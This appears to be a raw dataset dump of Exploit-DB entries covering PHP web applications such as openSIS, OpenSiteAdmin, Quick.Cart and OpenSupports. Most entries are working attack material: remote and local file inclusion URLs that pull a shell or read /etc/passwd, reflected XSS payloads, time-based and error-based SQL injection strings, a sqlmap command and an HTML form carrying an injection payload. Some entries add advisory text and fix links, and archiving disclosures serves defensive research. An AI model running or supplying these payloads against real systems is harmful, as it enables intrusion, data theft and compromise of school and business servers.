deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12277
Description: Openscrutin 1.03 - Local File Inclusion / Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-18
Author: cr4wl3r

Exploit:
==============================================================
Openscrutin 1.03 (RFI/LFI) Multiple File Include Vulnerability
==============================================================

[+] Openscrutin 1.03 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm cr4wl3r member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4544/openmairie_scrutin_1.03.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki,
EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom,
SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://shell4u.tk/[path]/obj/droit.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/collectivite.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/utilisateur.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/courrier.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/profil.class.php?path_om=[Shell]

[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-18]
Exploit-DB #38039
Description: openSIS 5.1 - 'ajax.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-11-20
Author: Julian Horoszkiewicz

Exploit:
source: https://www.securityfocus.com/bid/56598/info

openSIS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.

openSIS 5.1 is vulnerable; other versions may also be affected.

http://www.example.com/opensis5.1/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php
Exploit-DB #50259
Description: OpenSIS 8.0 'modname' - Directory Traversal
Type: webapps
Platform: php
Date: 2021-09-03
Author: Eric Salario

Exploit:
# Exploit Title: OpenSIS 8.0 'modname' - Directory/Path Traversal
# Date: 09-02-2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE: CVE-2021-40651

The 'modname' parameter in the 'Modules.php' is vulnerable to local file inclusion vulnerability. This vulnerability can be exploited to expose sensitive information from arbitrary files in the underlying system.

To exploit the vulnerability, someone must login as the "Parent" user, navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php. The 'modname' parameter and requests the Portal.php's contents. By going back a few directory using '..%2f' decoded as '../' it was possible to disclose arbitrary file from the server's filesystem as long as the application has access to the file.

1. Login as "Parent"

2. Open a web proxy such as BurpSuite and capture the requests

3. Navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login=

4. Check the response

PoC: https://youtu.be/wFwlbXANRCo
Exploit-DB #50352
Description: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-29
Author: Eric Salario

Exploit:
# Exploit Title: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)
# Date: 9/24/2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE : CVE-2021-40310

OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter.

1. Login as "teacher".

2. Navigate to (take attendance): http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true

Decoded request:

GET /ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true HTTP/1.1

3. XSS triggers

PoC Video: https://www.youtube.com/watch?v=aPKPUDmmYpc
Exploit-DB #52080
Description: openSIS 9.1 - SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2024-10-01
Author: Devrim Dıragumandan

Exploit:
# Exploit Title: openSIS 9.1 - SQLi (Authenticated)
# Google Dork: intext:"openSIS is a product"
# Date: 09.09.2024
# Exploit Author: Devrim Dıragumandan (d0ub1edd)
# Vendor Homepage: https://www.os4ed.com/
# Software Link: https://github.com/OS4ED/openSIS-Classic/releases/tag/V9.1
# Version: 9.1
# Tested on: Linux

A SQL injection vulnerability exists in OS4Ed Open Source Information System Community v9.1 via the "X-Forwarded-For" header parameters in POST request sent to /Ajax.php. 

GET /Ajax.php?modname=x HTTP/1.1

---
    Parameter: X-Forwarded-For #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: 127.0.0.2' AND EXTRACTVALUE(5785,CASE WHEN (5785=5785) THEN 5785 ELSE 0x3A END) AND 'HVwG'='HVwG

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: 127.0.0.2' AND GTID_SUBSET(CONCAT(0x717a787671,(SELECT (ELT(5261=5261,1))),0x71716b6b71),5261) AND 'djze'='djze

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 127.0.0.2' AND (SELECT 5313 FROM (SELECT(SLEEP(5)))VeyP) AND 'ZIae'='ZIae
--- 

FIX: https://github.com/OS4ED/openSIS-Classic/pull/322
Exploit-DB #50249
Description: OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection
Type: webapps
Platform: php
Date: 2021-09-02
Author: Eric Salario

Exploit:
# Exploit Title: OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection 
# Date: 09/01/2021
 # Exploit Author: Eric Salario 
# Vendor Homepage: http://www.os4ed.com/ 
# Software Link: https://opensis.com/download 
# Version: 8.0 
# Tested on: Windows, Linux 

A SQL injection vulnerability exists in the Take Attendance functionality of OS4Ed's OpenSIS 8.0. allows an attacker to inject their own SQL query. The cp_id_miss_attn parameter from TakeAttendance.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request as a user with access to "Take Attendance" functionality to trigger this vulnerability. 

Steps to reproduce: 

1. Login as "Teacher" and navigate to "Attendance" then "Take Attendance". Capture the request on a web proxy such as BurpSuite Or just navigate to the URL: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=27&cpv_id_miss_attn=23&ajax=true 

Vulnerable parameter: cp_id_miss_attn 

SQLi payload: r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq) 

URL with the payload: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)&cpv_id_miss_attn=23&ajax=true 2. 

The page should load depends on the sleep You can use manual queries to dump database information or use sqlmap. 

PoC: https://youtu.be/GGHiPvdPRas
Exploit-DB #52447
Description: openSIS Community Edition 8.0 - SQL Injection
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: openSIS Community Edition 8.0 - SQL Injection 
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/OS4ED/openSIS-Classic
# Software Link: https://github.com/OS4ED/openSIS-Classic
# Version: 8.0 
# Tested on: Windows
# CVE : CVE-2021-40617


Proof Of Concept
GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1
Host: opensis
Connection: close



Steps to Reproduce
Login as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
Observe the result
Exploit-DB #50637
Description: openSIS Student Information System 8.0 - 'multiple' SQL Injection
Type: webapps
Platform: php
Date: 2022-01-05
Author: securityforeveryone.com

Exploit:
# Exploit Title: openSIS Student Information System 8.0 - 'multiple' SQL Injection
# Date: 26/12/2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://opensis.com
# Software Link: https://opensis.com
# Version: 8.0 Community Edition
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

A SQL injection vulnerability exists in OS4Ed Open Source Information System Community v8.0 via the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to /TransferredOutModal.php.

The vulnerability is found in the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to page /TransferredOutModal.php.

Example:

POST /TransferredOutModal.php?modfunc=detail

Post Data: student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
Host: localhost
User-Agent: user-agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: cookie
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5

Example sqlmap Command: sqlmap.py -r request.txt --level 5 --risk 3 -p student_id --random-agent --dbs

Example Payloads:

Payload1: student_id=(SELECT (CASE WHEN (2108=2108) THEN 1 ELSE (SELECT 5728 UNION SELECT 5943) END))&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
Payload2: student_id=1 AND (SELECT 5604 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(5604=5604,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
Payload3: student_id=1 AND (SELECT 6111 FROM (SELECT(SLEEP(5)))JtuC)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5


ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.

In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.

We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools

'''
Exploit-DB #15924
Description: openSite 0.2.2 Beta - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-01-07
Author: n0n0x

Exploit:
#######################################################
#opensite-v0.2.2-beta <=== Local File Include vuln
#######################################################
#By n0n0x
#Homepage: http://priasantai.uni.cc/
#Download script :http://sourceforge.net/projects/contentone/files/openSite/opensite-v0.2.2-beta/opensite-v0.2.2-beta.zip/download
#######################################################
=========================================
xpl : 
http://site.com/os/upload/src/include.php?db_driver=../../../../../../../../../../LFI%00

<?php
	session_start();
	header('Cache-control: private');

	include('variables.php');
	include('functions.php');
	include('drivers/'.$db_driver.'.php');
=========================================
xpl:
http://site.com/os/upload/src/secure.php?db_driver=../../../../../../../../../../LFI%00

<?php
	include('variables.php');
	include('functions.php');
	include('drivers/'.$db_driver.'.php');
=========================================
xpl:
http://site.com/os/upload/src/content.php?db_driver=../../../../../../../../../../LFI%00

<?php
	include('functions.php');
	include('drivers/'.$db_driver.'.php');
=========================================
xpl:
http://site.com/os/upload/src/authenticate.php?db_driver=../../../../../../../../../../LFI%00

<?php
	error_reporting('2037');

	$auth = false;
	$username = $_POST['username'];
	$password = $_POST['password'];

	if ( isset($username) & isset($password) ) {

		include('variables.php');
		include('functions.php');
		include('drivers/'.$db_driver.'.php');
=========================================
#######################################################
#Greetz: all member | manadocoding.org - sekuritiOnline.net
#
# friends: angky.tatoki, EA ngel, bL4Ck_3n91n3,  opa, x0r0n, team_elite, thama, s0ny,
#             devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet.
#
# chats : irc.auzs.net 6667-7000 #kesawan,#exploit-db
######################################################
Exploit-DB #5068
Description: OpenSiteAdmin 0.9.1.1 - Multiple File Inclusions
Type: webapps
Platform: php
Date: 2008-02-06
Author: Trancek

Exploit:
Software Vulnerable:

OpenSiteAdmin 0.9.1 BETA and maybe prior versions.

Vulnerable Code:

-OpenSiteAdmin/indexFooter.php
require_once($path."footer.php");

-OpenSiteAdmin/scripts/classes/DatabaseManager.php
require_once($path."OpenSiteAdmin/include.php");
require_once($path."OpenSiteAdmin/scripts/classes/ErrorLogManager.php");

-OpenSiteAdmin/scripts/classes/FieldManager.php
require_once($path."OpenSiteAdmin/scripts/classes/Fields/Checkbox.php");
require_once($path."OpenSiteAdmin/scripts/classes/Fields/ForeignKey.php");
.....
..

-OpenSiteAdmin/scripts/classes/Filter.php
require_once($path."OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php");

-OpenSiteAdmin/scripts/classes/Form.php
require_once($path."/OpenSiteAdmin/scripts/classes/Forms/Form_List.php");
require_once($path."/OpenSiteAdmin/scripts/classes/Forms/Form_Single.php");

-OpenSiteAdmin/scripts/classes/FormManager.php
require_once($path."OpenSiteAdmin/scripts/classes/Form.php");

-OpenSiteAdmin/scripts/classes/LoginManager.php
require_once($path."OpenSiteAdmin/scripts/classes/SecurityManager.php");

-OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php
require_once($path."OpenSiteAdmin/scripts/classes/RowManager.php");

Download:
http://sourceforge.net/project/showfiles.php?group_id=213524

Server should have:
    Register Globals: On
    Magic_quotes_gpc: Off

Exploit:

http://www.vulnerable.com/OpenSiteAdmin/indexFooter.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/FieldManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Filter.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Form.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/FormManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/LoginManager.php?path=<File Inclusion>%00
http://www.vulnerable.com/OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=<File Inclusion>%00

Greetz:

Members of http://www.p1mp4m.es and http://www.yashira.org

Author:

Trancek

# milw0rm.com [2008-02-06]
Exploit-DB #9708
Description: OpenSiteAdmin 0.9.7b - 'pageHeader.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-17
Author: EA Ngel

Exploit:
                     [#]OpenSiteAdmin 0.9.7 BETA Remote File Include Vulnerability[#]
                        ----------------------------------------------------------



[@]=====================================================================================================[@]
[+] Author	 	 : EA Ngel
[+] Location    	 : Republik Rakyat Indonesia [RRI]
[+] Situs          	 : www[dot]manadocoding[dot]net
[+] Contact        	 : engelpemula[at]gmail[at]com
[+] Download Script	 : http://sourceforge.net/projects/opensiteadmin/files/
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] 3rr0r Bu9		 : - pageHeader.php
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] 3xpl0it		 : http://127.0.0.1/OpenSiteAdmin/pages/pageHeader.php?path=[thanks.txt?]
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] Sp3ci4l Th4nks  	 : str0ke > basix > cr4wl3r > kamuiclone > Mr.C > kamuiclone > cokiki > cyberlog
[+]                        angky_tatoki > doniskynet > rezagmas > g4pt3k > my_wisdom > hmei7 > k3nz0 
[+]		           wishnu > bl4ck_3n91n3 > Mr.Crossbeam > kiddies > yadiyauri > zpy > moon_lee 
[+]		           c6 > and friends
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] Greetz t00		 : All crew ManadoCoding and All Crew SekuritiOnline
[@]=====================================================================================================[@]


					* GOD BLESS ALL *

# milw0rm.com [2009-09-17]
Exploit-DB #34402
Description: OpenSolution Quick.Cart - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-08
Author: kl3ryk

Exploit:
source: https://www.securityfocus.com/bid/42182/info

Quick.Cart is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

The following example URIs are available:

http://www.example.com/nothing,important,our.file.name.html%00

http://www.example.com/?p=../path.to.our.php.file-nothing-important
Exploit-DB #41758
Description: Opensource Classified Ads Script - 'keyword' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-29
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Opensource Classified Ads Script - SQL Injection
# Google Dork: N/A
# Date: 29.03.2017
# Vendor Homepage: http://www.2daybiz.com/
# Software: http://www.professionalclassifiedscript.com/downloads/opensource-classified-ads-script-2/
# Demo: http://198.38.86.159/~classic/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/advance_result.php?keyword=[SQL]&adv_search
# class_2daydiscount :d_hotlisting
# class_admin :adm_id
# class_admin :adm_username
# class_admin :adm_password
# class_admin :adm_lastvisit
# class_category :c_id
# # # # #
Exploit-DB #43292
Description: Opensource Classified Ads Script 3.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: Opensource Classified Ads Script 3.2 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/professional-classified-ads-script/
# Version: 3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form action="http://server/advance_result.php" method="post">
<input value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" onblur="Getback(this);" onclick="doClear(this);" name="keyword" style="font-size:12px; color:#999999;" type="text">
<input name="adv_search" value="Ver Ayari" id="adv_search" type="submit"></div>
</form>
</body>
</html>
Exploit-DB #32330
Description: OpenSupports 2.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-03-17
Author: indoushka

Exploit:
Open Support Blind SQL Injection v2.0 Vulnerability
===================================================
Author indoushka
=================
vendor :http://www.opensupports.com/files/Opensupports_v2_EN.rar
=================
# Dork : Power by OpenSupports © 2009 - 2014. All Rights reserved 


This vulnerability affects /support/login.php

emailcorreoelectronico=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&pass=g00dPa%24%24w0rD&Submit2=Login



This vulnerability affects /support/responder.php. 

idarticulo=&name=&staff=no&Submit=Send&text_content=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/



This vulnerability affects /support/verarticulo.php.

/support/verarticulo.php?id=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/